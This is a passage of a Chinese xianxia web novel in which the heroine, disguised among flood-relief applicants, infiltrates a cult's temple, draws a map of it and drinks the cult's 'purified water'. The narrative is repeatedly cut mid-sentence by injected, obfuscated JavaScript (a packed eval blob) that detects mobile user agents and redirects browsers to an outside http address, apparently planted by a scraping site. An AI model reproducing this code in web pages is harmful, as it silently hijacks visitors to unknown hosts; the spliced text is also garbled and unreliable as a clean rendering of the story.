引路弟子见状,立刻放低姿态,躬身行礼,语气带着明显的恭敬:“见过大人!这些人都是揭了治水告示来的,其中有几个说会些法术、略懂些治水之策,不知圣女可在?” 女子站在原地没动,银铃随着微风轻响了两声。过了片刻,她才缓缓开口,声音透过轻纱传出,带着几分不真切的清冷:“不必扰她,把这些人带到后面的厢房里去吧。” “是!是!”引路弟子连忙应下,头垂得更低了,连眼角都不敢往女子身上瞟。 沈玄宁混在人群里,悄悄用余光打量了一下这位女子。她的指尖倒还是活人的粉色,却透着一丝不易察觉的僵硬,虽然是故作清冷之姿,但是细听便能发现她的语气没有太大起伏,像是在复述别人的指令。 这女子倒不是魔族,也不是失去意识的活死人。 沈玄宁心里立刻有了判断。这女子定是喝了千灯教所谓的净水,虽还保留着部分自主意识,却会变得麻木迟钝,不自觉地听从千灯教的指令。 只是她保留的意识比普通人多些,还能维持基本的仪态与指令传达,成了千灯教控制分教的工具。 他们跟着引路弟子进了寺庙,漱音寺里面比外面看起来还要宽敞不少。 千灯教的表面功夫倒是做得极好,这里面有不少的灾民聚集于此,秩序竟还算井然。寺内金殿前面的一块巨大的空地被划分成了几个区域。 最东侧的地方挂着诊病的木牌,四周还用棚子围了起来,里面有不少简易搭起来的竹床,上面躺着不少人,还有人排队等着看病领药,显然都是得了水灾引发的水疫。 与诊病处相对的西侧,架着两排乌黑的大粥锅,柴火在灶下烧得正旺,蒸汽裹着淡淡的米香飘满整个院落。几个穿着粗布衣裳的妇人正握着长勺,有一下没一下地搅动粥水,围在粥锅旁的灾民大多面黄肌瘦,捧着破碗的手微微发颤,却没人敢往前挤,只乖乖排队,眼里满是对热粥的渴望。 而中间金殿门前的青石板上,跪着上百号人,每个人手里都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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执念稍弱的人,便会被净水之力洗去记忆以及凡人血肉之中脏污部分,成为黑水玄蛟的纯净的口粮。执念稍强些的人,能保留部分神智,却会被净水彻底控制,这些人则会被放到外面成为千灯教的教徒,永远忠于千灯教。 同时这也是千灯教给大众看的成功例子,这些人会被灌输话术,四处散播自己成功点燃长明灯后见到逝去的至亲之人。 甚至其中有些人还会获得一具以蜃楼镜投射过的尸体,变成他逝去亲人的模样让他们当众团聚。 这些精心设计的奇迹,让陷入巨大悲痛的灾民彻底疯狂。 他们亲眼看到死去的亲人复活,便愈发笃信千灯教的神力,不仅自己死心塌地追随,还会主动拉拢其他灾民加入千灯教。 千灯燃起,我教昌隆。 而最后,那些执念最强者,长明灯也最亮,净水无法改造他们,他们会被千灯教渡化成魔,成为魔族突破千年封印的工具。 沈玄宁他们很快被带到了金殿后面,那里有不少厢房,其中已经有部分住了人了,显然在这里的都是望虞津揭榜的治水能人。 其中一间较大的佛堂被改造成了议事堂,沈玄宁他们去登记了姓名分配了厢房以后便是去了议事堂,刚走到门口,就听到里面传来此起彼伏的高谈阔论声。 推门进去,腾出的空间摆着几张长桌,围坐着几十个个形形色色的人,有穿粗布短衫的凡人壮汉,还有文绉绉的书生,也有披着黑袍的散修,都是端着一副治水大师的模样。 沈玄宁立刻找了个地方坐下,开始学习这些治水大师吹牛逼,方便后面当大忽悠。 44.治水大师 “想当年我在下游修堤,那洪水比现在还猛!官府派来的人都慌了神,最后还不是靠我?三天就把水势稳住了!”一个络腮胡壮汉拍着桌子,声音洪亮,“当时官府还特意给我送了块治水的牌匾,就挂在我们村口祠堂里,全村人都得来给我敬酒!这次要是让我主事,保管半个月内让望虞津的水全退了,到时候这千灯教还得给我记大功!” 他说得唾沫星子横飞,周围倒是没几个人相信,都是敷衍地点点头。 “要说治水,我家祖上才是真有本事!我太爷爷当年跟着朝廷的治水御史干活,一手测水定堤的本事,连御史都夸!虽然后来家道中落,可那本事我没丢,只要让我看看河道走势,我就能算出哪里该挖渠、哪里该筑坝,保准水患全消!” “我爹以前是村里的水保,每年都领着人修水渠,什么截流分洪的法子,我都见过!” 整个议事堂闹哄哄的,有人举杯附和,有人拍桌争论,不像是来治水的议事堂,倒像是镇上最热闹的茶馆。 众人七嘴八舌,而且越说越夸张,一个说自己能呼风唤雨,能让上游的水改道,另一个老头更是离谱,说自己十年前见过真龙,能请龙王爷现身退水,只要千灯教给够供奉,就能请龙王爷出手。 而沈玄宁听得在心里狂笑,但还是颇为捧场地附和每个治水大师,她的话一套接一套,语气真诚,眼神里满是信服敬佩,说得每个治水大师都眉开眼笑。 “这位壮士真是有本事啊!来来来,我以茶代酒敬您一杯!” “先生大才啊!祖上跟着御史做事,那可是有家学渊源的,定是有治水的真本事!” “哦哟!了不得了不得!竟能得见真龙,那您必是这天命之人了,治水主事非您莫属!” 谢疏言津津有味地看着沈玄宁眼神明亮,眉飞色舞地附和这些人吹牛逼。 宁为玉则是双手抱胸一言不发,沈玄宁这溜须拍马的模样让他很是震惊,逍遥宗问剑峰天下闻名,她竟然对着一群凡人如此吹嘘。 人群里突然传来一声嗤笑:“一群凡夫俗子,也敢在这里聒噪?” 众人循声望去,只见穿黑袍的修士站起身,手里的木杖往地上重重一顿,语气里满是毫不掩饰的不屑:“我修的乃是引气术,只需在河堤关键处埋上法器,引天地灵气凝成防护层,再大的洪水也冲不垮!按我的法子来,抵得上你们这样只会说空话的上百个蠢货!千灯教要是识货,就该让我当治水主事,哪轮得到你们在这里争来争去?” “你说谁是凡夫俗子?谁是蠢货?”络腮胡壮汉瞬间炸了毛,猛地拍桌站起来。 黑袍修士下巴一抬,语气里的倨傲又添了几分:“老夫早已是筑基修士,你一个五行灵根都不齐全的小小凡人,还敢在老夫面前大放厥词?” 沈玄宁默默扫了一眼这黑袍老头,确实是筑基初期的修士,只是倒不是他说的早已晋入。他这气息虚浮得很,显然是到这个境界没多久,灵力还没稳固。 而且看他须发皆白显然是年纪不小了,这个岁数才修到筑基,此生恐怕是没有机会晋入金丹期了。 筑基期的修士在逍遥宗确实算不得什么厉害人物,但是对凡人的震慑力却不小。 黑袍修士说完,故意释放出一丝灵力威压,瞬间压得议事堂里的气氛一凝,原本还在争论不休的众人纷纷闭了嘴,连络腮胡壮汉都愣在了原地,眼神里多了几分怯意,下意识往后退了半步。 他嘴唇动了动,半天才憋出一句:“你……你真是仙人……” 黑袍修士见此情景,得意之色更甚,慢悠悠捋着稀疏的白须:“不然呢?老夫已修行百年,岂是你们这些凡夫俗子能比的?治水之事,本就该由老夫做主,你们只需按我的指令行事,保准能顺利退水。” 他这话一出,没人再敢反驳。 有几个原本也想吹嘘自己懂法术的散修,悄悄收敛了气息,低下头不敢再言语,他们大多只是炼气期的修为,在筑基修士的威压下,连抬头的勇气都没有。 黑袍修士扫过众人怯怯的模样颇为满意,转头却瞥见沈玄宁依旧镇定坐在原处,竟没像其他人那样露怯,反而一脸笑盈盈地看着他,眼神清亮,不见半分惧意。 他心里一动,上下打量了沈玄宁一番,这小姑娘穿着粗布衣裙,周身气息平平,看着就是个普通凡人,可那份镇定劲儿,却不像寻常小姑娘该有的。 只能说这老头有些眼瘸,半点没瞧见不远处叼着根草白眼快翻到天上去的冷玄明还有不屑一顾的宁二公子。 黑袍修士往前挪了两步,语气里带着几分探究,目光仍在她脸上打转:“小姑娘,你也是来治水的?” “嗯?”沈玄宁演技大爆发,立刻摆出一副突然被仙人问话的局促模样,手不自觉绞着衣角:“我吗?哦哦……是、是来的。只是从前跟着先生念过几天书,识得几个字,也帮不上什么大忙,就想来混口饭吃。” 他又追问了一句:“你可有测过灵根?” “灵根?”沈玄宁露出茫然的神色,摇摇头,“未曾……” 黑袍修士见她模样不似作假,心里的疑虑消了几分,却又生出些别的念头,他修持百年才勉强晋入筑基,根基不稳,这辈子怕是没机会再进一步,若能寻个有灵根的好苗子收为弟子,也算留个念想,便开口道:“老夫乃云游真人,让老夫替你测测灵根,看你有没有修行的潜质,如何?若是有灵根,往后跟着老夫修行,总比在这里混饭吃强。” 沈玄宁心里暗笑,这老头倒是会打主意。 面上却是立刻露出惊喜又激动的神情,连忙躬身行礼:“哎呀!那可太谢谢大仙了!我、我做梦都没想过还能有当仙人的机会,要是真有灵根,我肯定好好跟着大仙学!” 她这副受宠若惊的模样,做得十足逼真。 宁为玉再一次在心里大为惊叹了一番,这逍遥宗的人都这样么? 云游真人清了清嗓子,故作高深地抬手道:“不用多礼,修行一道讲究机缘,你我能在此相遇,也是缘分。来,老夫先替你探探脉,看看你的灵根资质。” 沈玄宁依言伸出手,指尖微微蜷着,看似紧张的样子。 她的修为远胜这云游真人,自然是想让他知道什么,他才能知道什么。 云游真人一搭脉,便是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16352614|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闭上眼睛细细感知,片刻后眉头却突然蹙起,又过了一会儿,才缓缓睁开眼。 他似是有些惊喜,但又忍不住失望:“五灵根齐全倒真是可以修炼,只是这天赋实在太差了些。不过也无妨,好歹能引气入体,往后勤加修炼,总能有点成就。” 周围原本竖着耳朵看热闹的人,闻言也纷纷变了脸色,眼神里瞬间多了几分羡慕,没想到这小姑娘还是个有仙缘的。 如此年轻,还测出了可修炼的灵根,以后可谓是前途无量了。 虽然得到了自己想要的结果,那云游真人却没收回手,反而又探了片刻,指尖突然微微一顿,眼睛猛地亮了起来,面上渐渐浮起一派艳羡之色:“你这灵脉……倒是宽阔得很啊!虽灵根天赋差了些,可这灵脉能容纳的灵气却比常人多不少!将来若是修炼,倒是事半功倍啊!” “真的吗?”沈玄宁瞪大了眼睛,立刻冲着云游真人道谢:“多谢真人!多谢真人!” “你叫什么名字?” 沈玄宁非常省事儿地取了个假名字:“我叫……沈小花。” “行,后面你就跟着我吧。”云游真人对着沈玄宁摆摆手,随即转过身,目光扫过议事堂里的众人,“这望虞津的治水之事,以后就由我主理,你们可还有意见?” 众人纷纷摇头: “没有意见没有意见!” “我们都听您的!” “大仙您治水肯定比我们厉害,自然是您说了算!” 沈玄宁见状,立刻抓住机会,把不远处的冷玄明拖了过来,脸上带着几分怯意又满是期盼:“大仙,我还有几个哥哥,这次我们是一起来的,不知……不知是否能一道跟着您呢?他们都很能干的,绝不会给您添麻烦的!” 说着,她先把冷玄明往前推了推,介绍道:“这是我大哥,他叫……沈大牛,对,他人很老实,力气特别大,重活累活都能干。” 冷玄明嘴角几不可察地抽了抽。 还没等云游真人开口,她又飞速介绍了谢疏言和宁为玉, “这是我二哥二牛,三哥三牛。” 冷玄明:“……” 宁为玉:“……” 听到沈玄宁这乡土式的取名风格,宁为玉死死忍住了拆台的冲动,倒是谢疏言一副习惯了沈玄宁的样子,十分淡定地冲着那云游真人点了点头。 云游真人听说是她的哥哥倒是有了些兴致,目光在三人身上扫了一圈,问道:“他们可测过了灵根?若是……” “测过了测过了!!”沈玄宁可不敢让这什么半吊子大仙测宁二公子的灵根,立刻点头如捣蒜,语气还颇有几分惋惜:“前几年村里来过仙人,给我哥哥们都测过,可惜几位哥哥都没有灵根,没法修仙。不过他们都很能干,就算不能学法术,也能帮您做些杂活!” “行吧。”云游真人捻了捻胡须,目光在冷玄明三人身上扫过,见他们都是面相极为普通的模样,倒也不像是有灵根的,想着自己既有意收沈玄宁为徒,多带几个她的家人在身边,也能让这小姑娘更安心跟着自己修行,倒也不算麻烦,便缓缓点了头,“那就让他们也跟着我吧。” 45.隔音结界 接下来两天,这云游真人还真是像模像样安排起治水工作来了。 在上山后的第六天,混到灾民里面的顾文竹还有陆远声鹤穗他们也上山来汇合了,也不知道顾文竹使了什么法子,把自己和陆远声都变得跟得了水疫一般躺到了诊区那边。 沈玄宁发现他们是路过的时候突然看到鹤穗端着个碗十分没有形象地蹲在粥棚外喝粥,一抬头鹤穗和她对视了一眼。 鹤穗:“……” 沈玄宁:“……” 鹤穗立刻站了起来,企图挽回一下自己的形象。 沈玄宁给鹤穗使了个眼色就走了,因为她现在终于寻到了一个给众人光明正大透题的机会。 早上的时候云游真人就在念叨:“光有这个粗浅的图不够,如今这望虞津让水淹成这样,要是能有幅望虞津整片区域的水患舆情图,再标清大水走向,安排人手也能更精准。” 于是沈玄宁就自告奋勇地说自己会画画,只要能有足够的望虞津的居民给她讲讲大概的脉络,她就可以画出整个望虞津的详细地图来。 云游真人带着几分怀疑:“哦?你还会画这个?望虞津这地方可不小,你光听人描述就能画出来?” “真人若是不信,我可以先画一份漱音寺的布局图给您看看。您让我在寺里转悠一圈,不管是前院中院,还是后院,我都能分毫不差画出来。要是这图能让您满意,您再帮我找人描述这望虞津的布局也不迟。” 云游真人便是答应了。 于是沈玄宁还真装模作样地把这漱音寺前前后后都给转悠了一圈儿,若是遇上巡逻的千灯教弟子问话,她就说是按照云游真人吩咐做事,让他们有什么事儿就去找那老头。 其实就算不转悠这一圈,沈玄宁也能把漱音寺的全貌精准画出来,毕竟烟州水患这一卷她都快翻烂了。千灯教控制各分教的核心结界入口藏在金殿之内,那些喝了净水后被净化的凡人,正是通过这个结界,被源源不断送到禁锢黑水玄蛟的深渊地底。 她这一趟装模作样地转悠,只是为了找个借口把藏着真实线索的地图光明正大地拿出来,毕竟总不能毫无依据地就给冷玄明他们透题。 于是晚上众人聚在沈玄宁的房里,她把之前早就准备好的漱音寺方位图给拿了出来。 虽然这周围都是凡人,但是以防万一,沈玄宁还是抬手布了个结界。 这个结界,布下后不依靠灵力支撑,不仅能隔音,而且就算有人特意探查也无法感应到任何灵力波动。 本来没什么,只是顾文竹在结界形成后又抬眼看了一圈,忍不住问道:“这是……万界城的隔音结界?” “!”沈玄宁闻言暗道不妙!她怎么把这茬给忘了! 一不小心给学杂了啊! 之前沈玄宁翻书的时候看到有一章里详细描述了一些万界城特有的结界术法,看得她都怀疑《藏心》这作者是不是真修过仙了,施法手势和灵力运转方式通通都写得非常清楚。 她一时兴起就照着练了练,没想到竟真的练成了几个好用的结界。 寻常修士的结界依靠灵力支撑,若是有高于原主修为的修士扫到结界,就能察觉到内里的灵力波动,但是万界城的结界却能做到无声无息且没有任何灵力波动。 这是万界城独有的法术,她想着这会儿好用顺手就给用了,结果被顾文竹一眼认了出来。 沈玄宁心里还在琢磨怎么圆话,脑子里飞速闪过什么突然在路上捡到秘籍,或者偶遇什么前辈高人指点等几个蹩脚理由,没成想宁为玉先冷哼一声,语气里满是不屑:“万界城的结界术只有他们主城核心弟子才能修习,没想到还有人偷盗术法让它流落在外,这约束门下弟子的能力可见一斑。” 我真是谢谢你啊,宁二公子。 这理由这么快都给她找好了,虽然宁为玉可能单纯只是想嘲讽下万界城,但是外打正着给她找了个台阶。 沈玄宁刚想说一句对,就是她买的!就听到顾文竹哦了一声恍然大悟道:“差点忘了,玄宁师妹你是黄金楼的东家。能买到万界城流出来的结界术秘籍,倒也不稀奇,只是这万界城确实……” 沈玄宁:“……” 这俩是全自动洗地机么? 她还没编,他们已经找出了理由并且自发把逻辑理顺了,甚至还默契地一起把矛头对准了万界城,狠狠批评了一番万界城御下不严,管理混乱云云。 真是对不住对不住,莫名地抹黑了一下万界城。 不过宁为玉像是突然后知后觉地捕捉到了顾文竹刚刚说的一个什么信息,他看着沈玄宁问道:“你是黄金楼的东家?” “是啊,黄金楼下面的产业都是我的。”沈玄宁倒没打算隐瞒,便是随意地点了点头,“来看看这分布图吧。” 沈玄宁取出一枚玉简,抬手将它挥到了空中。下一秒,淡蓝色的灵力在空中缓缓铺展,一幅立体通透的漱音寺分布图凭空浮现。 屋内的空气却突然凝固下来,原本还在低声讨论的几人瞬间没了声音,目光齐刷刷地落在空中的立体图上。 沈玄宁见众人都盯着分布图不说话,一头雾水道:“怎么了?你们怎么都不说话了?” 冷玄明挑了挑眉:“你是说,你在外面转悠了一天,就把地图画成了这样?” 眼前这灵力所绘的地图,简直详细到了一个离谱的程度。 不仅漱音寺的建筑格局分毫毕现,更有各处千灯教弟子的分布,甚至他们每日交换巡逻的路径也都用不同亮度的荧光虚线标注得一清二楚。 中间的金殿甚至可以直接透视进去,内部景象完整呈现在众人眼前,大殿正中的鎏金佛像下面便是结界入口了。 想透题,但是手抖透多了。 于是急着想跑完主线铲除千灯教的沈玄宁厚着脸皮道:“……我是天纵奇才。” 谢疏言道:“这里金殿之中竟还有结界存在?” 沈玄宁非常生硬地肯定:“对,靠近金殿的时候,我能感应到下面有一个通往远处的传送结界。” 其实这金殿附近有禁制,她什么都没探到。 纯靠着翻原著画下来的。 但是,总之,反正就是感应到了,怎么感应到的先不提了。 谢疏言道:“这结界,用来传输什么呢?” 沈玄宁道:“长明灯,或者说,点长明灯的人?” “长明灯……”顾文竹指尖轻轻摩挲着袖角,将从灾民口中打探到的细节缓缓道来,“这两天我和不少来自烟州各地的灾民聊过。千灯教在烟州的每个分教,基本都设置在寺庙之中,而且每个分教都有一座专门供奉长明灯的金殿,日夜不熄。” 冷玄明眉头微蹙,追问道:“何为长明灯? 顾文竹道:“千灯千灯,说的就是这长明灯。千灯教信奉万灵共神永寂,认为人死之后魂魄并不会消散,而是会前往奈何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16357927|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桥,等待轮回重生。而长明灯的作用,就是为死去的亲人引路,只要能为所念之人点燃一盏长明灯,灯火不灭,魂魄就能循着长明灯的指引找到来时路,重回人间,与家人团聚。” “这么荒谬的事居然有这么多凡人信了?”冷玄明有些难以理解,怎么有这么多人对长明灯召魂这种无稽之谈趋之若鹜,他震惊追问:“难道…… 真有人靠这长明灯成功了?” 顾文竹轻轻点头:“自然是有人成功了,所以才会让这么多灾民前仆后继地去点那所谓的长明灯。” 沈玄宁补充道:“而这长明灯点燃的方式就是人的念力,执念够深,才能点亮这长明灯,你们看到金殿外面那每天跪着的人了么?只有点亮了长明灯的人才能进入金殿。” 白枕河,也就是这次跟着一道潜入千灯教的那位碧霞仙居的弟子说道:“那些进了金殿的人都对金殿内的事闭口不提,后来他们都成了千灯教的信徒,宣扬只要虔心供奉长明灯,早晚能和亲人团聚。越诚心者,长明灯越亮,那逝去的亲人才能看到此灯,魂魄归来。” 鹤穗道:“他们进了金殿,到底遇到了什么呢?” 是净水啊!净水啊! 沈玄宁非常想把这个答案说出口,但是不行。 所以她非常迂回地提示了一下:“或许可以从这些成功的人身上入手,想想这些成为了千灯教教徒的灾民,都有什么共同点?” 她又戳了戳谢疏言问道,“小谢,你还记得我们刚上山那天在寺庙门口遇到的那个蒙面女子么?” 谢疏言点点头:“记得。” “我当时看她,虽然她说话行动都是十分流畅,但若仔细观察还是可以感觉到动作有些细微的僵硬,她说话也像在重复别人的话一样,许是千灯教用了什么东西控制他们。” 沈玄宁觉得自己已经快隐晦地把答案说出来了。 “所有的秘密就在,那座金殿之中。” 陆远声道:“据说千灯教每处分教,都有一位圣女坐镇,负责看管长明灯。你们来漱音寺这几日,可有见过这位圣女?” 沈玄宁他们来这几日,金殿的殿门始终紧闭,她摇头道:“没见过。不过按他们对金殿的看重程度,这位圣女大概率一直待在金殿里,从没出来过。” 顾文竹道:“我已经在附近仔细探查过,此处没有感应到有什么金丹期以上修士的存在,都是些散修不足为惧,绕过他们去探探这金殿倒是问题不大。” 说着他从储物袋里掏了一只纸鹤出来,在上面一点,那纸鹤便是慢悠悠地飞了起来,然后绕到空中对着那刻有地图的玉简轻轻一啄。 “就让这小东西先去探探虚实吧。” 不过沈玄宁知道,顾文竹的这个纸鹤是什么都探不出来的,那金殿内虽没有金丹期以上的修士存在,但是却被设下了强大的禁制。 在原著内,陆远声鹤穗还有顾文竹等人探到金殿内的净水存在,已是费了不少功夫。 “行,正好明日我给那云游老头交那个地图。”沈玄宁又取了一份手绘地图出来平铺在桌面上,这是她明日打算交给那云游真人的,只画了漱音寺的基本分布。 “看了这图,他应该会去帮我找人,来画望虞津的舆情图,到时候也可以找其他人打听打听,或许会有其他关于金殿的线索。” 当然这不是或许,那是必须会有。 这答案都在,还是得多拿出来让他们抄抄。 46.再来一瓶 顾文竹的纸鹤靠近金殿以后发现了禁制,自然什么都没探着,而沈玄宁上交了漱音寺的分布图以后顺利说服了那云游真人帮她找望虞津各处的灾民来辅助她画精准的地形图。 沈玄宁干脆在门口支了个摊子招呼人:“各位叔叔婶婶,大爷大娘们,您是住望虞津哪儿呢?劳烦您各位跟我说说您家附近的情况可好啊?” 被第一个带过来的大婶犹豫着问:“姑娘,你记这些干啥呀?咱们村子那边都淹得不成样了,还有用吗?” “有用呢!”沈玄宁连忙递过一碗温茶水,笑着道,“不用说复杂了,您就说说从您家这往外走是什么地方,周围有些什么山啊树啊河呀的就成……” 那大婶喝了口茶水,打开了话匣子:“那我跟你说说!我家在望虞津南头的有花村,出了村子往东走两百步就是月牙河,河边有棵老柳树,都长了几十年了,水患来的时候,那树都给淹了!往右走是片菜园子,我以前还在那边种菜呢,现在全成泥地了……” 沈玄宁一边画一边追问:“大婶,那月牙河的水坝,离您家远不远?水患的时候,水坝是从哪边塌的呀?” “不远不远,出了村子往南走几步就是!”大婶叹了口气,“就是去年冬天冻着了,坝体裂了道小缝,当时官府说开春修,结果一直没人来。这回水一涨,那缝就被冲开了,河水顺着口子往村里灌,最先淹的就是我们南头的屋子,好多家的东西都没来得及搬……” 有了第一个开口的,后面的灾民也跟着围过来:“姑娘,我家在北坡!出门就是土山路,往上走有个山神庙,水患的时候不少人躲在里头!庙后头有个泉眼,里面接的水可甜的嘞。” “哦,这样啊。”沈玄宁听得认真,手里的笔也画得飞快。 按照她了解的,再结合不同村子的灾民的描述,花了几天的功夫她就绘制出了一张完整的望虞津水患舆情图,粗细不一的线条清晰标注出河水主河道、支流、暗渠的走向,连积水区的深浅都用墨色浓淡区分。 云游真人看了此图再一次被震惊了。 他的引气术沈玄宁还没见识到,不过在治水方面倒不是完全吹牛,而且千灯教也招揽来的也并非全是混吃混喝的人,还真是有几个真才实学的治水之士。 他们看到沈玄宁画的水患舆情图也都是惊叹万分,虽然有一些用现代地理绘图知识欺负他们的嫌疑,但其实最重要的还是沈玄宁作为上帝视角的穿书者,烟州水患的大决战就在望虞津这一块,所以她对这里的地形十分熟悉的。 熟读烟州水患所有情节的沈玄宁,知道如果想等陆远声他们打探到净水还需要等几天,他们还得自己去点长明灯,然后被迫喝了净水,还浅浅受了一些挫。 尤其是这净水还加速了陆远声的魔化速度,沈玄宁是万万不能让这种事发生。 她打算帮主角团避避坑然后拉一拉进度条。 于是—— 陆远声的目光落在桌上那盏燃着光的灯上,语带疑惑:“这什么?” 沈玄宁眼神满是“这不显而易见”的诧异,扫了他一眼以后奇道:“很显然,这是长明灯啊。” 她又补充道:“还是亮起来的长明灯。” 陆远声:“……” 顾文竹伸手从桌上拿起灯,看了一阵以后直接将它翻转了过来。 “诶!”鹤穗抬手虚拦了一下,结果发现那倒置的灯盏里,火光依旧稳稳燃着,灯油像是被无形的屏障锁住,一滴都没往下淌。 “聚灵阵?”顾文竹又细细看了一阵,果然在这灯盏的底下看到了一个极小的金色聚灵阵,在轻轻转动。 “对!”沈玄宁道:“我那个今天路过,就顺了盏灯回来,不过我琢磨了半天也没参透他们这个长明灯亮起来到底是个什么原理,所以我就……” 顾文竹道:“所以你就直接在下面画了个聚灵阵让它强行亮起来?” “……对啊。”沈玄宁道:“不可以吗?” 谢疏言赞道:“是一个好办法。” 顾文竹道:“千灯教要是知道他们奉为圣物的长明灯被你这么点,怕是得气死。不过玄宁师妹,你有没有发现,这长明灯本身就是一个聚灵阵。” 沈玄宁眉头一皱:“还真没发现。” 顾文竹作为玲珑峰的二弟子,也是画聚灵阵的行家,而且比起这沈玄宁没事儿才学一点的皮毛,是要高明不少的。 “说是聚灵阵倒也不完全是,因为我们平时所画的聚灵阵都是依靠灵力运转,它却不是。画出这灯的人极有巧思,算是对聚灵阵的一种模仿,能缓慢吸收周围的情绪,点灯的人执念越重,情绪越激烈,被吸走的心神就越多,灯也就越亮。” “原来如此。”沈玄宁提议道,“我们今晚就去探一探那金殿?” 说罢她伸出手,手心里是好几个小光团,里面每个都是方才刻在那长明灯的聚灵阵,她抬了一抬手,几个光团便是四散到了众人面前。 “这是我画的聚灵阵,你们拿着,到时候贴在那灯盏下面就会亮起来了。”沈玄宁点名道,“对了,阿声,穗穗、还有白师兄,你们就不要去了,辛苦你们留在外面接应吧。” 陆远声点了点头,白枕河看了一眼宁为玉以后也是应下了:“好。” 只有鹤穗不可置信地冲着沈玄宁歪了歪眼睛,眼神余光指向旁边的陆远声,而后者则是一脸无辜地朝她眨了眨眼。 商量完了以后他们便是去了金殿那边。 沈玄宁千算万算没算到她耿直的六师兄,刚从千灯教弟子那边领了长明灯,啪一下就把灯给点了,然后又递回给人家看。 冷玄明一本正经道:“亮了。” 沈玄宁:“……” 谢疏言:“……” 顾文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16373908|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竹:“……” 宁为玉:“……” 对面递灯的千灯教弟子:“……” 那名弟子在原地直接就给愣住了,他从来没见过把长明灯点得这么快的凡人,立刻反身急匆匆进了金殿进去通报。 沈玄宁立刻小声急道:“快快快!!都快点灯快点!!” 于是里面的人出来的时候就看到了齐刷刷亮起的六盏长明灯,其中一盏灯倒不是靠沈玄宁的聚灵阵作弊大法,还真是靠念力燃起来的。 是一个瞧着二十出头左右的姑娘,她的眼睛有些红,神色间倒是颇为沉静。 出来的人是一开始沈玄宁在寺庙门口见到的那位蒙面女子,她声音冷冷道:“都进来吧。” 众人还有那位姑娘立刻是跟着进到了金殿里面,刚跨过殿门,身后便传来哐当一声重响,厚重的木门应声关上,将殿外的微光彻底隔绝,金殿内瞬间只剩烛火跳动的光影。 本以为能看到满殿长明灯的景象,可实际上殿内并没有想象中灯盏密布的景象,只有寥寥几盏烛火悬在梁柱旁,昏暗的光在空旷的大殿里投下大片阴影,连空气都透着几分冷清。 沈玄宁的视线往殿中望去,只见正中央立着一尊万灵共主永寂神的神像,通体鎏金的神像在微弱灯火的映照下,褪去了本该有的庄严神圣,反倒因光影交错,显得轮廓沉暗,竟透着几分说不出的阴沉。 紧接着,一道紫衣身影缓缓从神像后面走出,那女子未没有像千灯教其他女弟子一样戴着面纱,露出来的一张脸倒是生得十分好看,眉如远山含黛,眸似秋水凝星,额间一枚紫晶镶嵌的额饰垂着细链 她的目光淡淡扫过沈玄宁一行人,然后走到他们面前站定。 “我乃千灯教圣女莲心。”莲心的语气颇为庄重,“各位点燃了长明灯,我在此深贺。如今天神感念这份诚心,特赐下净水。诸位喝下净水,洗去这长明灯灯芯上的凡间污浊,便能让逝去的亲人看见灯火,寻回来时路。” 话音落下,莲心微微侧过身,抬了抬下巴示意身后,两名面纱蒙着脸的女弟子立刻上前,手中各端着一个托盘,托盘上整齐摆放着几个莹白剔透的白玉瓶。 “请吧。”莲心目光率先落在站在最前面的沈玄宁身上,抬手做了个邀的手势。 “多谢圣女。”沈玄宁脸上不见半分犹豫,随即上前一步,从托盘上取过一只白玉瓶,干脆利落地拔开了盖子,仰头便将瓶中的净水一饮而尽。 冷玄明都被他小师妹这利落劲儿给惊呆了。 不是…… 知道这啥东西吗就给喝了!! 莲心刚要开口唤下一位,却被沈玄宁突然出声打断。 “等等!” 莲心眉头微蹙,不解地看向沈玄宁。 见她神色一片清明,轻笑一声后启唇问道。 “能再来一瓶不?” 47.假扮圣女 莲心颇有些无语地看着沈玄宁,她没立刻应声,反倒静静等了片刻,见沈玄宁始终面色如常眼神清明,又忍不住惊奇地上下打量了她一番。 沈玄宁见她不回话,又问了一遍:“莲心圣女,还能再喝一瓶吗?” 莲心收回目光,指尖在袖中轻轻捻了捻,最终还是对着身后的女弟子抬了抬下巴,声音听不出情绪:“给她。” 那名女弟子虽有几分诧异,却还是依言取了只白玉瓶,递到了沈玄宁手中。 “多谢。”沈玄宁又以极快的速度仰头喝了,不给莲心任何一点开口喊下一个人的空隙。 沈玄宁像是在路边讨茶一般:“再来一瓶。” 莲心:“……” 沈玄宁这下也不说了,喝完直接把瓶子往托盘上一放,眨了眨眼等下一瓶,很快就把他们端上来的六瓶净水全给喝了。 她随即一摊手:“这就没了?” 